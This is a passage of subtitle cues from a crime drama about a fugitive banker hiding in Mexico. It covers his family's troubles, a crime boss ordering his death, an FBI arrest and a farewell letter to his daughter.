00:45:56.834 --> 00:46:00.201
No, just take him home and
watch him. He's our last chance.

456
00:46:11.048 --> 00:46:12.913
Here we go.

457
00:47:20.951 --> 00:47:22.418
Yeah.

458
00:47:43.841 --> 00:47:45.866
We've got a problem.

459
00:47:49.713 --> 00:47:51.681
Plaza. The plaza.

460
00:50:08.085 --> 00:50:09.017
Get down.

461
00:50:15.726 --> 00:50:17.159
Clear.

462
00:50:18.529 --> 00:50:19.518
Clear.

463
00:50:39.249 --> 00:50:40.375
Clear.

464
00:50:54.465 --> 00:50:55.591
Clear.

465
00:51:03.841 --> 00:51:05.069
Clear.

466
00:51:07.945 --> 00:51:08.843
Clear.

467
00:51:13.851 --> 00:51:15.045
Clear.

468
00:51:41.412 --> 00:51:43.903
Group head, I got eyes on
five at elevated position.

469
00:51:53.791 --> 00:51:55.281
Fucking amateurs!

470
00:52:15.946 --> 00:52:17.607
Aaargh!

471
00:52:46.109 --> 00:52:47.098
Go! Go!

472
00:52:47.177 --> 00:52:49.407
Come on, Damon, let's
get out of here.

473
00:53:36.293 --> 00:53:37.658
Abort! Abort!

474
00:53:37.728 --> 00:53:38.922
Go, go, go, go!

475
00:53:46.503 --> 00:53:47.492
Move!

476
00:53:51.141 --> 00:53:52.699
Come on!

477
00:53:53.977 --> 00:53:55.604
Let's go!

478
00:54:09.092 --> 00:54:10.559
Come on, let's go!

479
00:54:11.728 --> 00:54:15.596
The man is fucking dead already. Move
now! Come on!

480
00:54:23.273 --> 00:54:24.570
Char--

481
00:55:34.177 --> 00:55:36.077
He's a Russian.

482
00:55:37.047 --> 00:55:39.607
A Russian?

483
00:55:39.683 --> 00:55:43.119
Big in the '80s. Worth
about $1 billion now.

484
00:55:43.186 --> 00:55:47.247
Word is Charlie Wright took
him for about $100 million.

485
00:55:48.158 --> 00:55:49.489
Jesus.

486
00:55:50.127 --> 00:55:52.357
So, he's not gonna stop.

487
00:56:06.476 --> 00:56:08.410
It's okay.

488
00:56:10.313 --> 00:56:15.444
Gabriel, some people say
that, uh, a man in your

489
00:56:15.519 --> 00:56:21.321
position could actually
benefit from my bad fortune.

490
00:56:22.926 --> 00:56:26.123
Who would say that? I mean, that's
ridiculous.

491
00:56:26.196 --> 00:56:30.758
Maybe, but with me gone, it'd
give you a chance to start

492
00:56:30.834 --> 00:56:34.827
clean. No more debts,
no more baggage.

493
00:56:34.905 --> 00:56:36.338
Just like when Father died.

494
00:56:36.406 --> 00:56:38.033
My father got shit.

495
00:56:38.108 --> 00:56:41.908
Yeah, but his dying gave
me a chance to start clean.

496
00:56:41.978 --> 00:56:45.914
You take this family and
move on from his mistakes.

497
00:56:46.950 --> 00:56:48.747
You understand?

498
00:56:52.089 --> 00:56:54.057
I fucked up.

499
00:56:56.860 --> 00:56:58.794
But you didn't fuck up.

500
00:56:58.862 --> 00:57:00.830
Listen to me.

501
00:57:01.832 --> 00:57:03.891
I fucked up.

502
00:57:04.434 --> 00:57:06.265
It's over for me.

503
00:57:06.336 --> 00:57:10.136
No. We have people everywhere. I'll find
them.

504
00:57:11.141 --> 00:57:13.041
I know you will.

505
00:57:31.995 --> 00:57:34.520
I'm gonna get him back.

506
00:57:40.370 --> 00:57:42.361
I'm gonna go for a walk.

507
00:58:51.007 --> 00:58:53.498
What, you think
I do, mate? One of my guys.

508
00:58:53.577 --> 00:58:55.477
Bullshit.

509
00:58:59.649 --> 00:59:01.640
Mary.

510
00:59:05.722 --> 00:59:07.451
Charlie.

511
00:59:20.470 --> 00:59:22.734
Oh...
a drink?

512
00:59:22.806 --> 00:59:25.536
Uh, no, I don't drink...

513
00:59:25.609 --> 00:59:27.338
anymore. Remember?

514
00:59:27.410 --> 00:59:29.241
Ah, si.

515
00:59:30.347 --> 00:59:31.837
Con permiso.

516
00:59:34.117 --> 00:59:36.244
It's not usually this messy.

517
00:59:36.319 --> 00:59:37.286
Is this a...

518
00:59:37.354 --> 00:59:38.981
you been here a while?

519
00:59:40.223 --> 00:59:41.451
Si.

520
00:59:41.524 --> 00:59:42.183
Yeah.

521
00:59:42.259 --> 00:59:44.250
A long time.

522
00:59:46.396 --> 00:59:48.296
Oh, it's nice.

523
00:59:59.776 --> 01:00:02.506
There's something about you.

524
01:00:06.516 --> 01:00:09.144
What, you running
away from something?

525
01:00:10.787 --> 01:00:13.347
Um...

526
01:00:13.423 --> 01:00:16.017
well, it's a...

527
01:00:16.092 --> 01:00:20.028
it's a little bit,
uh, complicated.

528
01:00:20.397 --> 01:00:22.160
What happened?

529
01:00:29.039 --> 01:00:33.271
A lot of things, but, uh,
it's-- it's all over now.

530
01:00:33.343 --> 01:00:35.277
You don't need to...

531
01:00:37.213 --> 01:00:39.010
Would you like to take a shower?

532
01:00:39.082 --> 01:00:40.879
Oh, my God.

533
01:00:40.951 --> 01:00:41.679
That would be a...

534
01:00:41.751 --> 01:00:42.581
You need help.

535
01:00:42.652 --> 01:00:44.176
Yeah, that would be fantastic.

536
01:00:44.254 --> 01:00:46.154
This way. Um, uh, please.

537
01:00:59.936 --> 01:01:02.336
Are you sure this is
where you marked him from?

538
01:01:03.273 --> 01:01:04.706
Yeah.

539
01:01:04.774 --> 01:01:06.708
He was right there.

540
01:01:08.078 --> 01:01:09.943
It's dark out here.

541
01:01:10.680 --> 01:01:11.942
Yeah, but...

542
01:01:12.015 --> 01:01:13.846
Yeah, but you got
the streetlight.

543
01:01:15.852 --> 01:01:17.183
Come on.

544
01:01:25.528 --> 01:01:27.359
Here's some clothes.

545
01:01:27.430 --> 01:01:28.260
Thank you.

546
01:01:28.331 --> 01:01:29.298
They-- they are clean.

547
01:01:29.366 --> 01:01:31.857
Oh, thank-- thank you.

548
01:01:49.019 --> 01:01:52.011
Look, I swear to you,
boss. It was him.

549
01:01:54.924 --> 01:01:57.415
I want you to listen
to me carefully.

550
01:01:58.561 --> 01:02:01.689
Now, I know you respect
me as a human being.

551
01:02:05.602 --> 01:02:07.832
So, if I ever hear any...

552
01:02:07.904 --> 01:02:09.929
No.

553
01:02:10.006 --> 01:02:12.440
I wouldn't do that.

554
01:02:12.509 --> 01:02:14.443
I wouldn't throw you under
the bus. I don't sell out.

555
01:02:14.511 --> 01:02:18.641
Jimmy, when this comes up, and
it will come up no matter who

556
01:02:18.715 --> 01:02:23.277
spins it, you put
the blame on me.

557
01:02:23.353 --> 01:02:28.154
Don't you carry this.
You got it?

558
01:02:28.224 --> 01:02:30.818
You're gonna land on your feet.

559
01:02:36.166 --> 01:02:38.657
Just, Andy...

560
01:02:38.735 --> 01:02:40.930
want to grab another drink?

561
01:02:41.938 --> 01:02:45.339
I'm gonna cross the border
in San Diego tonight,

562
01:02:45.408 --> 01:02:48.536
heading back up to
L.A. in the morning.

563
01:02:49.612 --> 01:02:51.637
Hey.

564
01:02:51.714 --> 01:02:54.114
You be careful down here.

565
01:02:56.986 --> 01:02:58.544
Yeah.

566
01:02:59.289 --> 01:03:02.781
So, would you think
this one looks better?

567
01:03:04.194 --> 01:03:05.957
Bueno?

568
01:03:06.896 --> 01:03:08.158
Uh.

569
01:03:09.966 --> 01:03:12.764
I really should go.

570
01:03:20.577 --> 01:03:22.238
What?

571
01:03:24.280 --> 01:03:26.748
I want you to stay.

572
01:03:27.951 --> 01:03:32.445
I'm afraid if I tell
you, you won't stay.

573
01:03:35.492 --> 01:03:37.517
Tell me what?

574
01:03:42.765 --> 01:03:45.529
It's been such a long time.

575
01:03:45.702 --> 01:03:47.670
It's my face.

576
01:03:49.539 --> 01:03:51.302
It's the wrinkles.

577
01:03:51.374 --> 01:03:53.774
Men hate the wrinkles.

578
01:03:53.843 --> 01:03:54.775
Wait.

579
01:03:54.844 --> 01:03:56.471
I try everything.
They won't go away.

580
01:03:56.546 --> 01:04:02.348
Shh. Shh shh. No. Don't--
you don't have any wrinkles.

581
01:04:03.052 --> 01:04:04.952
I don't care about wrinkles.

582
01:04:05.021 --> 01:04:07.046
Oh, and then I cry.

583
01:04:07.123 --> 01:04:11.116
It is so bad to cry.

584
01:04:16.132 --> 01:04:18.396
You found her?

585
01:04:21.938 --> 01:04:23.462
Si.

586
01:04:23.806 --> 01:04:25.671
Where she works.

587
01:04:28.011 --> 01:04:29.603
Is she okay?

588
01:04:30.980 --> 01:04:33.005
I don't know.

589
01:04:33.716 --> 01:04:36.480
Aren't you going to leave?

590
01:04:38.855 --> 01:04:41.824
It's been such a long time.

591
01:04:41.891 --> 01:04:44.985
I'm.. I don't.. I don't want...

592
01:04:45.061 --> 01:04:45.925
Fuck.

593
01:04:45.995 --> 01:04:48.555
No, I don't have to leave.

594
01:04:48.631 --> 01:04:50.599
Then...

595
01:04:52.735 --> 01:04:55.499
you stay?

596
01:04:55.572 --> 01:04:57.631
Yeah, I'll stay.

597
01:05:03.980 --> 01:05:06.278
The banker got away.

598
01:05:08.785 --> 01:05:11.583
We lost a man.

599
01:05:13.256 --> 01:05:14.621
American?

600
01:05:15.358 --> 01:05:16.689
Yes.

601
01:05:17.393 --> 01:05:19.759
You have something in mind?

602
01:05:22.398 --> 01:05:23.865
Yes.

603
01:05:25.835 --> 01:05:30.204
Chances are the banker will be
hard to hide, even if we got

604
01:05:30.273 --> 01:05:34.334
him, and the Feds...
If they find out we have him,

605
01:05:34.410 --> 01:05:37.311
it could open up some
of our old problems.

606
01:05:37.380 --> 01:05:39.473
And if they get him...

607
01:05:39.549 --> 01:05:42.746
then it's sure he'll talk.

608
01:05:42.819 --> 01:05:46.050
Either way, we're
back on the map.

609
01:05:51.094 --> 01:05:57.329
We may be too old to be going
through all of this again.

610
01:06:02.038 --> 01:06:03.630
So, you suggest we let him go?

611
01:06:03.706 --> 01:06:05.071
No.

612
01:06:06.542 --> 01:06:07.975
Then?

613
01:06:11.514 --> 01:06:15.883
We make the problem go away...

614
01:06:17.387 --> 01:06:19.912
permanently.

615
01:06:28.164 --> 01:06:30.064
Do it clean.

616
01:06:30.133 --> 01:06:32.067
No fancy stuff.

617
01:06:34.737 --> 01:06:36.830
Let Damon know.

618
01:07:21.918 --> 01:07:24.386
Come on, it's late.
Come to bed.

619
01:07:24.987 --> 01:07:27.888
I need to
know what's going on.

620
01:07:28.458 --> 01:07:31.359
This isn't just about you.
This is about me, too.

621
01:07:31.427 --> 01:07:34.123
Come here. Come to bed.
Let me read to you.

622
01:07:35.698 --> 01:07:38.098
We don't have to stay here.

623
01:07:39.001 --> 01:07:42.300
We could just go. It
doesn't matter where.

624
01:07:42.372 --> 01:07:44.670
We just go. It doesn't matter. None of
this matters anymore!

625
01:07:44.741 --> 01:07:46.231
Mari, it matters.

626
01:07:46.309 --> 01:07:49.972
I wish it didn't matter,
but it matters. Come on.

627
01:08:03.926 --> 01:08:06.121
Great Expectations.

628
01:08:06.195 --> 01:08:10.393
My father's family name being
Pirrip and my Christian name

629
01:08:10.466 --> 01:08:14.630
Philip, my infant
tongue could make...

630
01:08:16.038 --> 01:08:19.530
She's yours, isn't she?

631
01:08:20.209 --> 01:08:22.006
The girl?

632
01:08:23.045 --> 01:08:26.071
Veronica's girl.

633
01:08:31.654 --> 01:08:33.417
Yes.

634
01:08:34.257 --> 01:08:36.885
You know all this time?

635
01:08:40.329 --> 01:08:42.320
Yes.

636
01:08:46.436 --> 01:08:49.428
Veronica would talk about you.

637
01:08:50.072 --> 01:08:52.768
And then one day she stopped.

638
01:08:56.746 --> 01:08:58.611
You're a good man.

639
01:08:59.882 --> 01:09:02.282
Your heart is good.

640
01:09:03.019 --> 01:09:05.351
She always believed that.

641
01:09:07.256 --> 01:09:10.817
I am not a good man.

642
01:09:14.063 --> 01:09:16.531
There is no good in me.

643
01:09:17.900 --> 01:09:19.333
Oh...

644
01:09:20.570 --> 01:09:23.038
The pain I've caused...

645
01:09:24.440 --> 01:09:27.637
the lives I've destroyed...

646
01:09:31.113 --> 01:09:34.640
If you only knew.

647
01:09:36.219 --> 01:09:40.747
All that I had has
come to nothing.

648
01:09:44.427 --> 01:09:46.588
It's not so bad.

649
01:11:09.211 --> 01:11:10.405
Senor.

650
01:11:10.479 --> 01:11:12.106
Desculpe.

651
01:11:12.181 --> 01:11:15.776
Is-- is that, uh, Isabelle?
Is her name Isabelle?

652
01:11:35.504 --> 01:11:37.301
Gracias.

653
01:11:46.082 --> 01:11:47.811
You're looking for Isabelle?

654
01:11:49.018 --> 01:11:50.576
Yes.

655
01:11:52.922 --> 01:11:54.480
She's gone.

656
01:11:57.326 --> 01:11:59.385
She's gone?

657
01:11:59.562 --> 01:12:01.962
About two weeks ago.

658
01:12:07.536 --> 01:12:09.663
Well, do you know
where she went?

659
01:12:10.506 --> 01:12:13.475
She went to the U.S.
selling coke.

660
01:12:16.178 --> 01:12:18.669
She went illegally. Mm.

661
01:12:18.748 --> 01:12:21.114
Yes.

662
01:12:24.053 --> 01:12:25.953
Senor.

663
01:12:26.022 --> 01:12:28.183
Are you okay?

664
01:12:29.025 --> 01:12:31.050
You want to order something?

665
01:12:31.127 --> 01:12:32.890
Uh... no.

666
01:12:36.932 --> 01:12:38.695
What is she like?

667
01:12:40.436 --> 01:12:42.267
She's pretty.

668
01:12:42.338 --> 01:12:44.203
Very nice.

669
01:12:46.575 --> 01:12:48.600
Was she a...

670
01:12:48.678 --> 01:12:50.373
happy person?

671
01:12:53.149 --> 01:12:55.014
Very happy.

672
01:13:00.056 --> 01:13:02.820
Thank you.
Thank you. That's...

673
01:13:06.128 --> 01:13:08.255
Sure. Okay.

674
01:13:09.065 --> 01:13:10.794
Gracias.

675
01:13:49.839 --> 01:13:51.397
Yeah.

676
01:13:52.842 --> 01:13:55.208
It's Charlie.

677
01:13:57.179 --> 01:13:59.409
Charlie Wright.

678
01:14:04.854 --> 01:14:07.254
I want to come home.

679
01:14:10.092 --> 01:14:11.855
Okay.

680
01:14:12.328 --> 01:14:15.161
But you're gonna
have to come get me.

681
01:14:15.231 --> 01:14:18.826
I'm not gonna make
it out of here alone.

682
01:14:18.901 --> 01:14:20.801
Where do I find you?

683
01:14:20.870 --> 01:14:23.566
Okay, meet me at the
Tijuanas Market,

684
01:14:23.639 --> 01:14:27.507
the southwest corner at 3:00.

685
01:15:24.567 --> 01:15:26.228
Listen, I need two favors.

686
01:15:26.302 --> 01:15:29.203
Meet me in the parking lot
right across the border.

687
01:15:29.271 --> 01:15:31.239
You know the one,
the left there, yeah.

688
01:15:31.307 --> 01:15:35.073
I need you to bring me a piece. And
second favor...

689
01:15:35.911 --> 01:15:37.538
don't ask me why.

690
01:15:47.022 --> 01:15:48.512
Gabriel.

691
01:15:53.596 --> 01:15:55.427
You find him.

692
01:16:49.585 --> 01:16:54.420
I know you said not to
ask why, but I'm asking.

693
01:16:57.059 --> 01:16:58.822
You were right.

694
01:20:16.592 --> 01:20:18.150
F.B.I.!

695
01:20:28.570 --> 01:20:30.162
Put it down.

696
01:20:58.400 --> 01:20:59.958
Drop it.

697
01:21:28.096 --> 01:21:29.620
Vamos.

698
01:21:31.333 --> 01:21:33.028
Vamos.

699
01:21:33.101 --> 01:21:34.534
Andale.

700
01:21:48.984 --> 01:21:50.417
It's over.

701
01:22:47.943 --> 01:22:49.911
Mexico City's headed this way. They're
close.

702
01:22:49.978 --> 01:22:50.808
I know.

703
01:22:50.879 --> 01:22:51.504
We've gotta get you on a plane.

704
01:22:51.580 --> 01:22:52.308
Gabriel...

705
01:22:52.381 --> 01:22:53.939
We have to move the women.

706
01:22:54.783 --> 01:22:56.011
Listen to me. Gabby.

707
01:22:56.084 --> 01:22:57.813
Jorge, they're on
their way here.

708
01:22:57.886 --> 01:22:59.717
I know. I called them.

709
01:23:00.522 --> 01:23:02.149
You what?

710
01:23:05.761 --> 01:23:09.162
I called them.
They're coming for me.

711
01:23:10.165 --> 01:23:12.497
I made a deal.
They accepted.

712
01:23:12.601 --> 01:23:14.159
What kind of deal?

713
01:23:17.406 --> 01:23:19.101
I signed away all our assets.

714
01:23:19.174 --> 01:23:23.201
It's not enough.
You know that.

715
01:23:23.512 --> 01:23:25.639
The balance is me.

716
01:23:28.417 --> 01:23:31.250
But...
what does that mean?

717
01:23:34.289 --> 01:23:35.881
What'd you do?

718
01:23:44.599 --> 01:23:50.231
You're gonna be able to keep
the house and some things, but

719
01:23:50.305 --> 01:23:51.932
you're gonna have to start over.

720
01:23:53.942 --> 01:23:56.570
No. No, there's no deal.

721
01:23:56.645 --> 01:23:58.840
No, we'll fight 'em.

722
01:23:59.381 --> 01:24:01.975
Listen.
Listen to me.

723
01:24:03.118 --> 01:24:04.881
It's done.

724
01:24:09.591 --> 01:24:13.027
You-you've always
taken care of me...

725
01:24:15.430 --> 01:24:18.194
but now it's time to
take care of this family.

726
01:24:30.879 --> 01:24:33.746
Pop is so proud
of you right now.

727
01:24:34.649 --> 01:24:37.277
I am so proud of you right now.

728
01:24:58.073 --> 01:25:00.268
Is there a bathroom break?

729
01:25:04.179 --> 01:25:06.647
Talked to Dr. Brooks yesterday.

730
01:25:11.853 --> 01:25:13.445
Dr. Brooks?

731
01:25:14.556 --> 01:25:16.524
You know who that is.

732
01:25:20.228 --> 01:25:22.093
What'd he tell you?

733
01:25:23.465 --> 01:25:25.490
Six months with treatment.

734
01:25:27.102 --> 01:25:29.002
Maybe three without.

735
01:25:31.540 --> 01:25:33.303
Maybe less.

736
01:25:39.281 --> 01:25:41.613
So now you know.

737
01:25:43.118 --> 01:25:47.145
With any luck, I'll make
my first court appearance.

738
01:26:43.578 --> 01:26:45.739
Why are you doing this?

739
01:26:49.351 --> 01:26:51.319
I don't know.

740
01:27:32.761 --> 01:27:36.322
My dear Isabelle...

741
01:27:42.971 --> 01:27:47.305
When a man finds himself
at the end of his days...

742
01:27:49.711 --> 01:27:52.737
He has to take an
account of his life.

743
01:27:58.286 --> 01:28:02.086
He has to be able to
live with what he's done.

744
01:28:09.064 --> 01:28:12.795
If he can find the
goodness somewhere...

745
01:28:14.836 --> 01:28:20.832
if there is a chance to find
some kind of redemption before

746
01:28:20.909 --> 01:28:23.434
we leave this Earth...

747
01:28:24.412 --> 01:28:28.246
then life's moments
will have mattered.

748
01:28:30.352 --> 01:28:34.015
This is the story of failure...

749
01:28:34.456 --> 01:28:36.287
of my failure...

750
01:28:37.425 --> 01:28:41.657
for all of the failures
of this life...

751
01:28:43.365 --> 01:28:45.299
of my life.

752
01:28:48.136 --> 01:28:50.730
Fade to nothing.

753
01:28:59.748 --> 01:29:02.911
Just fleeting moments.

754
01:29:04.686 --> 01:29:06.051
Gracias.

755
01:29:21.536 --> 01:29:24.096
And as I find my way...

756
01:29:26.941 --> 01:29:29.842
my exodus from this place...

757
01:29:33.682 --> 01:29:37.413
I can know that this
life was not so bad.

758
01:29:47.395 --> 01:29:52.094
And like the cleansing sun and
the beautiful sounds that lie

759
01:29:52.167 --> 01:29:54.965
just beneath the lies...

760
01:29:57.105 --> 01:30:03.840
all that is good in
me lives on in you.


ZeroDay Forums Mini